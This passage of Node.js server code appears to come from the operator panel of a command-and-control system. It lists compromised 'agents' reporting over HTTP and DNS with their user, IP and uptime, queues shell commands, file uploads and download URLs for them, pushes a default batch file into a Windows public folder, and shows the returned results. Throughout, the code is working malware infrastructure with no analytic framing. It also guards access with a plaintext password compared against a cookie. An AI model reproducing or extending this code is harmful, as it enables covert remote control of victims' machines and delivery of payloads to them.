{\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\r\n\tvar inputLen = req.params.input.length;\r\n\r\n\t// check password from cookie\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\r\n\tconsole.log(inputLen + \":\" + req.params.input + \">\" + cookie);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\tres.render('notfound');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\tres.render('notfound');\r\n\t\t\treturn;\r\n\t\t} else {\r\n\t\t\tpass = true;\r\n\t\t}\r\n\t}\r\n\tif (!pass) {\r\n\t\tif (req.params.input == \"notfound\") {\r\n\t\t\tres.render('notfound');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\tif (inputLen != 15) {\r\n\t\tif (inputLen != 16) {\r\n\t\t\tres.redirect(\"/in/http\");\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvar tokensTmp = req.params.input.split(\"<>\");\r\n\tvar agentId = tokensTmp[1];\r\n\tvar agentType = tokensTmp[0];\r\n\r\n\tvar agentDir = commonDir + agentType + \"/\" + agentId;\r\n\tif (!fs.existsSync(agentDir + \"/cfg\")) { // checking for config file of agent\r\n\t\tres.redirect(\"/in/http\");\r\n\t\treturn;\r\n\t}\r\n\r\n\t//console.log(agentType);\r\n\tif (agentType == \"dns\") {\r\n\t\tif (!fs.existsSync(agentDir + \"/idPool\")) {\r\n\t\t\tcreateIdPool(agentDir + \"/idPool\");\r\n\t\t}/*else if() {\r\n\t\t\t// file length less than 1 kb - there isn't more idz\r\n\t\t}*/\r\n\t}\r\n\r\n\tfs.readFile(commonDir + agentType + \"/\" + agentId + \"/cfg\", 'utf8', function (err, data) {\r\n\t\tif (err) { console.log(err); }\r\n\t\tfs.readFile(commonDir + agentType + \"/\" + agentId + \"/cfglast\", 'utf8', function (err, date) {\r\n\t\t\tif (err) { console.log(err); }\r\n\t\t\tvar lines = data.trim().split('\\n');\r\n\t\t\tvar lastLine = lines.slice(-1)[0];\r\n\t\t\tvar info = lastLine.split(\"<>\");\r\n\t\t\tvar whoami = info[1];\r\n\t\t\tvar ip = info[2];\r\n\t\t\tvar first = info[3];\r\n\t\t\tif(date != undefined) {\r\n\t\t\t\tfirst = date;\r\n\t\t\t}\r\n\r\n\t\t\tvar dateFormat = require('dateformat');\r\n\t\t\tvar commandIdTmp = dateFormat(new Date(), \"mmddHHMMss\");\r\n\t\t\t//if(commandIdTmp.charAt(0) == \"0\") {commandIdTmp = '1'+commandIdTmp.substring(1, 10);}\r\n\t\t\tvar commands = [];\r\n\r\n\t\t\t// read wait send and receive folder...................\r\n\t\t\tvar ff = require('flat-file-db');\r\n\t\t\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\t\t\tvar keys = db.keys();\r\n\t\t\tconsole.log(agentDir);\r\n\t\t\tfor (var i = 0; i < keys.length; i++) {\r\n\t\t\t\t//console.log(db.get(keys[i]));\r\n\t\t\t\tcommands.push(db.get(keys[i]));\r\n\t\t\t}\r\n\t\t\tdb.close();\r\n\t\t\t//console.log(commands);\r\n\r\n\r\n\t\t\tvar df = require('dateformat');\r\n\t\t\tres.render('panel', { agentDetails: [agentId, whoami, ip, first, agentType], commandId: \"\" + commandIdTmp, commands: commands, current_time: (df(new Date()).toString()) });\r\n\t\t});\t\t\r\n\t});\r\n};\r\n\r\nexports.tars = function (req, res) {\r\n\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\tvar branch = req.params.input;\r\n\tvar agentsDetail = [];\r\n\tvar fs = require('fs');\r\n\r\n\r\n\tvar state = \"httpActive\";\r\n\r\n\tconsole.log(\"[tars function]: after checking cookie!\");\r\n\r\n\tvar proms = []\r\n\tif (branch == \"dns\") {\r\n\t\tstate = \"dnsActive\";\r\n\t\tfs.readdir(commonDir + \"dns\", function (err, files) {\r\n\t\t\tif (err) { console.log(err); }\r\n\t\t\tfor (var i = 0; i < files.length; i++) {\r\n\t\t\t\tif (fs.statSync(commonDir + \"dns/\" + files[i]).isDirectory()) {\r\n\t\t\t\t\tvar data = files[i] + \"<>f<>cfg_not_exist<>u<>c<>k\";\r\n\t\t\t\t\tvar prom = new Promise((resolve, reject) => {\r\n\t\t\t\t\t\tvar cfgAddress = commonDir + \"dns/\" + files[i] + \"/cfg\";\r\n\t\t\t\t\t\tfs.readFile(cfgAddress, 'utf8', function (err, data) {\r\n\t\t\t\t\t\t\tfs.readFile(cfgAddress + \"last\", 'utf8', function (err1, date) {\r\n\t\t\t\t\t\t\t\tif (err) {\r\n\t\t\t\t\t\t\t\t\tconsole.log(err);\r\n\t\t\t\t\t\t\t\t\t//reject()\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (data == undefined) {\r\n\t\t\t\t\t\t\t\t\tdata = files[i] + \"<>f<>cfg_not_exist<>f<>u<>c<>k\";\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tvar lines = data.trim().split('\\n');\r\n\t\t\t\t\t\t\t\tvar lastLine = lines.slice(-1)[0];\r\n\t\t\t\t\t\t\t\ttokens = lastLine.split(\"<>\");\r\n\t\t\t\t\t\t\t\tvar tempTokens = [];\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[0]);\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[1]);\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[2]);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tvar moment = require('moment');\r\n\t\t\t\t\t\t\t\tconsole.log(tokens[3], new Date());\r\n\t\t\t\t\t\t\t\tvar startTime = \"\";\r\n\t\t\t\t\t\t\t\tif (date == undefined) {\r\n\t\t\t\t\t\t\t\t\tstartTime = tokens[3];\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\tstartTime = date;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tvar startDate = moment(new Date(Date.parse(startTime)), 'yyyy-mm-dd HH:MM:ss');\r\n\t\t\t\t\t\t\t\tvar endDate = moment(new Date(), 'yyyy-mm-dd HH:MM:ss');\r\n\t\t\t\t\t\t\t\tvar diffMTemp = endDate.diff(startDate, 'Minutes');\r\n\t\t\t\t\t\t\t\tvar diffD = endDate.diff(startDate, 'Days');\r\n\t\t\t\t\t\t\t\tvar diffH = endDate.diff(startDate, 'Hours') - (diffD * 24);\r\n\t\t\t\t\t\t\t\tvar diffM = diffMTemp - (diffH * 60) - (diffD * 24 * 60);\r\n\t\t\t\t\t\t\t\ttempTokens.push(diffD + \"d \" + diffH + \"h \" + diffM + \"m\");\r\n\t\t\t\t\t\t\t\ttempTokens.push(\"dns\");\r\n\t\t\t\t\t\t\t\tif (diffMTemp < 2) {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:green\");\r\n\t\t\t\t\t\t\t\t} else if (diffMTemp < 60) {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:orange\");\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:red\");\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\tif (fs.existsSync(commonDir + \"files/description.db\")) {\r\n\r\n\t\t\t\t\t\t\t\t\tvar ff = require('flat-file-db');\r\n\t\t\t\t\t\t\t\t\tvar db = ff.sync(commonDir + \"files/description.db\");\r\n\t\t\t\t\t\t\t\t\tvar des = db.get(tokens[0]);\r\n\t\t\t\t\t\t\t\t\tif (des === undefined) {\r\n\t\t\t\t\t\t\t\t\t\ttempTokens.push(\"No description\");\r\n\t\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\t\ttempTokens.push(des);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"No description\");\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t//agentsDetail.push(tempTokens);\r\n\t\t\t\t\t\t\t\tresolve(tempTokens)\r\n\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t})\r\n\t\t\t\t\tproms.push(prom)\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tPromise.all(proms).then(data => {\r\n\t\t\t\tres.render('agents', { agents: data, state: state });\r\n\t\t\t}).catch(function () {\r\n\t\t\t\tconsole.log(\"Promise Rejected\");\r\n\t\t   });\r\n\t\t});\r\n\t} else {\r\n\t\tfs.readdir(commonDir + \"http\", function (err, files) {\r\n\t\t\tif (err) { console.log(err); }\r\n\t\t\tconsole.log(\"[tars function]: http before reading folder! \" + files.length);\r\n\t\t\tfor (var i = 0; i < files.length; i++) {\r\n\t\t\t\tif (fs.statSync(commonDir + \"http/\" + files[i]).isDirectory()) {\r\n\r\n\t\t\t\t\tvar prom = new Promise((resolve, reject) => {\r\n\t\t\t\t\t\tvar cfgAddress = commonDir + \"http/\" + files[i] + \"/cfg\";\r\n\t\t\t\t\t\tfs.readFile(cfgAddress, 'utf8', function (err, data) {\r\n\t\t\t\t\t\t\tfs.readFile(cfgAddress + \"last\", 'utf8', function (err1, date) {\r\n\t\t\t\t\t\t\t\tconsole.log(\"this is date: \"+date);\r\n\t\t\t\t\t\t\t\tif (err1) {\r\n\t\t\t\t\t\t\t\t\tconsole.log(err1); \r\n\t\t\t\t\t\t\t\t\t//reject()\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\tif (err) {\r\n\t\t\t\t\t\t\t\t\tconsole.log(err); \r\n\t\t\t\t\t\t\t\t\t//reject()\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (data == undefined) {\r\n\t\t\t\t\t\t\t\t\tdata = files[i] + \"<>f<>cfg_not_exist<>f<>u<>c<>k\";\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tvar lines = data.trim().split('\\n');\r\n\t\t\t\t\t\t\t\tvar lastLine = lines.slice(-1)[0];\r\n\t\t\t\t\t\t\t\ttokens = lastLine.split(\"<>\");\r\n\t\t\t\t\t\t\t\tvar tempTokens = [];\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[0]);\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[1]);\r\n\t\t\t\t\t\t\t\ttempTokens.push(tokens[2]);\r\n\r\n\t\t\t\t\t\t\t\tvar moment = require('moment');\r\n\t\t\t\t\t\t\t\tvar startTime = \"\";\r\n\t\t\t\t\t\t\t\tif (date == undefined) {\r\n\t\t\t\t\t\t\t\t\tstartTime = tokens[3];\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\tstartTime = date;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tvar startDate = moment(new Date(Date.parse(startTime)), 'yyyy-mm-dd HH:MM:ss');\r\n\t\t\t\t\t\t\t\tvar endDate = moment(new Date(), 'yyyy-mm-dd HH:MM:ss');\r\n\t\t\t\t\t\t\t\tvar diffMTemp = endDate.diff(startDate, 'Minutes');\r\n\t\t\t\t\t\t\t\tvar diffD = endDate.diff(startDate, 'Days');\r\n\t\t\t\t\t\t\t\tvar diffH = endDate.diff(startDate, 'Hours') - (diffD * 24);\r\n\t\t\t\t\t\t\t\tvar diffM = diffMTemp - (diffH * 60) - (diffD * 24 * 60);\r\n\t\t\t\t\t\t\t\ttempTokens.push(diffD + \"d \" + diffH + \"h \" + diffM + \"m\");\r\n\t\t\t\t\t\t\t\ttempTokens.push(\"http\");\r\n\t\t\t\t\t\t\t\tif (diffMTemp < 2) {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:green\");\r\n\t\t\t\t\t\t\t\t} else if (diffMTemp < 60) {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:orange\");\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"color:red\");\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tconsole.log(tempTokens);\r\n\t\t\t\t\t\t\t\tif (fs.existsSync(commonDir + \"files/description.db\")) {\r\n\t\t\t\t\t\t\t\t\tvar ff = require('flat-file-db');\r\n\t\t\t\t\t\t\t\t\tvar db = ff.sync(commonDir + \"files/description.db\");\r\n\t\t\t\t\t\t\t\t\tvar des = db.get(tokens[0]);\r\n\t\t\t\t\t\t\t\t\tif (des === undefined) {\r\n\t\t\t\t\t\t\t\t\t\ttempTokens.push(\"No description\");\r\n\t\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\t\ttempTokens.push(des);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\ttempTokens.push(\"No description\");\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tresolve(tempTokens)\r\n\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t})\r\n\t\t\t\t\tproms.push(prom)\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tPromise.all(proms).then(data => {\r\n\t\t\t\tres.render('agents', { agents: data, state: state });\r\n\t\t\t}).catch(function () {\r\n\t\t\t\tconsole.log(\"Promise Rejected\");\r\n\t\t   });\r\n\t\t});\r\n\t}\r\n\r\n\t// console.log(\"[tars function]: before rendering page!\");\r\n\t// console.log(agentsDetail);\r\n};\r\n\r\nexports.notFound = function (req, res) {\r\n\tres.send(\"<h2>Go the other way bro, can't find here</h2>\");\r\n};\r\n\r\nexports.posted = function (req, res) { // posted command and upload and download from agent panel\r\n\r\n\tvar commandId = req.body.commandId;\r\n\tvar command = req.body.command;\r\n\tvar downloadAdr = req.body.downloadAdr;\r\n\tvar agentId = req.body.agentId;\r\n\tvar agentType = req.body.agentType;\r\n\tvar commandType = req.body.commandType;\r\n\tvar defaultCommand = req.body.defaultCommand;\r\n\r\n\tvar fs = require('fs');\r\n\r\n\tvar agentDir = commonDir + agentType + \"/\" + agentId;\r\n\r\n\tif (!fs.existsSync(agentDir)) {\r\n\t\tfs.mkdirSync(agentDir);\r\n\t}\r\n\t// inserting new command .....\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\r\n\tif (agentType == \"dns\") { // create command files in dns type agents ....\r\n\t\tvar currentCommandId = \"null\";\r\n\t\tif (!fs.existsSync(agentDir + \"/idPool\")) {\r\n\t\t\tcreateIdPool(agentDir + \"/idPool\");\r\n\t\t} else {\r\n\t\t\tfs.readFile(agentDir + \"/idPool\", 'utf8', function (err, data) {\r\n\t\t\t\tif (err) { }\r\n\t\t\t\tcurrentCommandId = data.split('\\n')[0];\r\n\t\t\t\tvar linesExceptFirst = data.split('\\n').slice(1).join('\\n');\r\n\t\t\t\tfs.writeFile(agentDir + \"/idPool\", linesExceptFirst, function (err) { if (err) { console.log(err); } });\r\n\t\t\t\tif (!fs.existsSync(agentDir)) { fs.mkdirSync(agentDir + \"/wait_txt/\"); }\r\n\r\n\t\t\t\tconsole.log(\"download address: \" + downloadAdr);\r\n\r\n\t\t\t\tif (commandType) {\r\n\t\t\t\t\tif (command != \"\" && command != undefined) {\r\n\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait_txt/\" + currentCommandId + \"0\", command, function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"0\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (req.file != null) {\r\n\t\t\t\t\t\tconsole.log(\"copy the file   \" + agentDir + \"/wait_txt/\" + req.file.originalname);\r\n\r\n\t\t\t\t\t\t//fs.writeFile(agentDir + \"/wait_txt/\" + req.file.originalname, fs.readFileSync(commonDir + \"files/\" + req.file.filename));\r\n\t\t\t\t\t\tfs.readFile(commonDir + \"files/\" + req.file.filename, function (err, data) {\r\n\t\t\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait_txt/\" + req.file.originalname, data, function (err) { if (err) { console.log(err); } });\r\n\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"2\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (downloadAdr != \"\" && downloadAdr != undefined) {\r\n\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait_txt/\" + currentCommandId + \"1\", downloadAdr);\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"1\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (command != \"\" && command != undefined) {\r\n\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait/\" + currentCommandId + \"0\", command, function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"0\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (req.file != null) {\r\n\t\t\t\t\t\t//fs.writeFile(agentDir+\"/wait/\"+currentCommandId+\"2\", fs.readFileSync(commonDir+\"files/\"+req.file.filename));\r\n\t\t\t\t\t\tfs.readFile(commonDir + \"files/\" + req.file.filename, function (err, data) {\r\n\t\t\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait/\" + currentCommandId + \"2\", data, function (err) { if (err) { console.log(err); } });\r\n\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"2\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (downloadAdr != \"\" && downloadAdr != undefined) {\r\n\t\t\t\t\t\tfs.writeFile(agentDir + \"/wait/\" + currentCommandId + \"1\", downloadAdr, function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\t\tdb.put(currentCommandId + \"1\", [commandId, ((command == \"\" || command == undefined) ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), ((downloadAdr == \"\" || downloadAdr == undefined) ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tdb.close();\r\n\t\t\t});\r\n\t\t}\r\n\t} else {\r\n\t\tif (defaultCommand == \"yes\") {\r\n\t\t\tdb.put(commandId, [commandId, \"Default Command\", \"0000000000.bat\", \"default command file\", \"not\", \"0\"]);\r\n\t\t\tdb.close();\r\n\t\t\tfs.writeFile(agentDir + \"/wait/\" + commandId, commandId + \"<>C:\\\\Users\\\\Public\\\\Public_Data\\\\files\\\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not\", function (err) { if (err) { console.log(\"write command file: \" + err); } });\r\n\t\t} else {\r\n\t\t\tdb.put(commandId, [commandId, (command == \"\" ? \"not\" : command), (req.file == null ? \"not\" : req.file.originalname), (req.file == null ? \"not\" : req.file.filename), (downloadAdr == \"\" ? \"not\" : downloadAdr), \"0\"]);\r\n\t\t\tdb.close();\r\n\t\t\tfs.writeFile(agentDir + \"/wait/\" + commandId, commandId + \"<>\" + (command == \"\" ? \"not\" : command) + \"<>\" + (req.file == null ? \"not\" : req.file.originalname) + \"<>\" + (req.file == null ? \"not\" : req.file.filename) + \"<>\" + (downloadAdr == \"\" ? \"not\" : downloadAdr), function (err) { if (err) { console.log(\"write command file: \" + err); } });\r\n\t\t}\r\n\t}\r\n\tres.redirect(\"/\" + agentType + \"<>\" + agentId);\r\n}\r\n\r\nexports.deleteCommand = function (req, res) {\r\n\t//console.log(\"[deleteCommand] function first line\");\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\t//console.log(\"[deleteCommand] after session checking\");\r\n\r\n\tvar tokensTmp = req.params.input.split(\"-\");\r\n\tvar agentType = tokensTmp[0];\r\n\tvar agentId = tokensTmp[1];\r\n\tvar commandId = tokensTmp[2];\r\n\tvar agentDir = commonDir + agentType + \"/\" + agentId;\r\n\r\n\t//console.log(\"[deleteCommand] setting agent directory: \"+agentDir);\r\n\r\n\tvar fileName = commandId;\r\n\tvar fs = require('fs');\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\tif (agentType == \"dns\") {\r\n\t\tvar keys = db.keys();\r\n\t\tfor (var i = 0; i < keys.length; i++) {\r\n\t\t\tvar tupleTmp = db.get(keys[i]);\r\n\t\t\tif (tupleTmp[0] == commandId) {\r\n\t\t\t\tfileName = keys[i];\r\n\t\t\t\t// delete from database\r\n\t\t\t\tdb.del(fileName);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tdb.del(commandId);\r\n\tdb.close();\r\n\t//console.log(\"[deleteCommand] getting tuple file name: \"+ fileName);\r\n\r\n\tif (fs.existsSync(agentDir + \"/wait/\" + fileName)) {\r\n\t\t// delete fileName\r\n\t\tfs.unlink(agentDir + \"/wait/\" + fileName, function (err) { if (err) { console.log(err); } });\r\n\t}\r\n\tres.redirect(\"/\" + agentType + \"<>\" + agentId);\r\n}\r\n\r\nexports.deleteAgent = function (req, res) {   // ............................................... deleteAgent function ....................\r\n\r\n\tconsole.log(\"[deleteAgent] function first line\");\r\n\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\t//console.log(\"[deleteAgent] after session checking\");\r\n\tvar fs = require('fs');\r\n\tvar tokensTmp = req.params.input.split(\"<>\");\r\n\tvar agentId = tokensTmp[1];\r\n\tvar agentType = tokensTmp[0];\r\n\tvar deleteFolderRecursive = function (path) {\r\n\t\tif (fs.existsSync(path)) {\r\n\t\t\tfs.readdirSync(path).forEach(function (file, index) {\r\n\t\t\t\tvar curPath = path + \"/\" + file;\r\n\t\t\t\tif (fs.lstatSync(curPath).isDirectory()) { // recurse\r\n\t\t\t\t\tdeleteFolderRecursive(curPath);\r\n\t\t\t\t} else { // delete file\r\n\t\t\t\t\tfs.unlink(curPath, function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\tfs.rmdir(path, function (err) { if (err) console.log(err); });\r\n\t\t}\r\n\t};\r\n\r\n\tdeleteFolderRecursive(commonDir + agentType + \"/\" + agentId);\r\n\r\n\tres.redirect(\"/in/http\");\r\n\treturn;\r\n}\r\n\r\nexports.deleteCommand = function (req, res) {\r\n\r\n\tconsole.log(\"[deleteCommand] function first line\");\r\n\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\t//console.log(\"[deleteCommand] after session checking\");\r\n\r\n\tvar tokensTmp = req.params.input.split(\"-\");\r\n\tvar agentType = tokensTmp[0];\r\n\tvar agentId = tokensTmp[1];\r\n\tvar commandId = tokensTmp[2];\r\n\tvar agentDir = commonDir + agentType + \"/\" + agentId;\r\n\r\n\t//console.log(\"[deleteCommand] setting agent directory: \"+agentDir);\r\n\r\n\tvar fileName = commandId;\r\n\tvar fs = require('fs');\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\tif (agentType == \"dns\") {\r\n\t\tvar keys = db.keys();\r\n\t\tfor (var i = 0; i < keys.length; i++) {\r\n\t\t\tvar tupleTmp = db.get(keys[i]);\r\n\t\t\tif (tupleTmp[0] == commandId) {\r\n\t\t\t\tfileName = keys[i];\r\n\t\t\t\t// delete from database\r\n\t\t\t\tdb.del(fileName);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tdb.del(commandId);\r\n\tdb.close();\r\n\t//console.log(\"[deleteCommand] getting tuple file name: \"+ fileName);\r\n\r\n\tif (fs.existsSync(agentDir + \"/wait/\" + fileName)) {\r\n\t\t// delete fileName\r\n\t\tfs.unlink(agentDir + \"/wait/\" + fileName, function (err) { if (err) { console.log(err); } });\r\n\t}\r\n\tres.redirect(\"/\" + agentType + \"<>\" + agentId);\r\n}\r\nexports.descriptionPosted = function (req, res) {\r\n\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\tvar agentDescription = req.body.agentDescription;\r\n\tvar agentId = req.body.agentId;\r\n\tvar fs = require('fs');\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(commonDir + \"files/description.db\");\r\n\tdb.put(agentId, agentDescription);\r\n\tdb.close();\r\n\tres.redirect(\"/in/http\");\r\n\treturn;\r\n}\r\n\r\n\r\nexports.result = function (req, res) { // .......................................... show result to user function ..................\r\n\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tvar pass = false;\r\n\tif (cookie === undefined) {\r\n\t\t//res.redirect('/login');\r\n\t\treturn;\r\n\t} else {\r\n\t\tif (cookie != config.password) {\r\n\t\t\t//res.redirect('/login');\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\tvar tokensTmp = req.params.input.split(\"-\");\r\n\tvar agentType = tokensTmp[0];\r\n\tvar agentId = tokensTmp[1];\r\n\tvar commandId = tokensTmp[2];\r\n\r\n\tvar fs = require('fs');\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff(commonDir + agentType + \"/\" + agentId + \"/log.db\");\r\n\tvar pt = require('path');\r\n\r\n\tif (agentType == \"dns\") {\r\n\t\tdb.on('open', function () {\r\n\t\t\tvar keys = db.keys();\r\n\t\t\tfor (var i = 0; i < keys.length; i++) {\r\n\t\t\t\tvar tupleTmp = db.get(keys[i]);\r\n\t\t\t\tif (tupleTmp[0] == commandId) {\r\n\t\t\t\t\tcommandId = keys[i];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tvar commandAddress = commonDir + agentType + \"/\" + agentId + \"/receive/\" + commandId;\r\n\t\t\tif (fs.existsSync(commandAddress)) {\r\n\t\t\t\tfs.readFile(commandAddress, function (err, data) {\r\n\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\tres.render('result', { data: data });\r\n\t\t\t\t});\r\n\t\t\t} else {\r\n\t\t\t\tres.send(\"<h2>Response file does not exist!</h2>\");\r\n\t\t\t}\r\n\r\n\t\t});\r\n\t\tdb.close();\r\n\t} else {\r\n\t\tdb.on('open', function () {\r\n\t\t\tvar tmp = 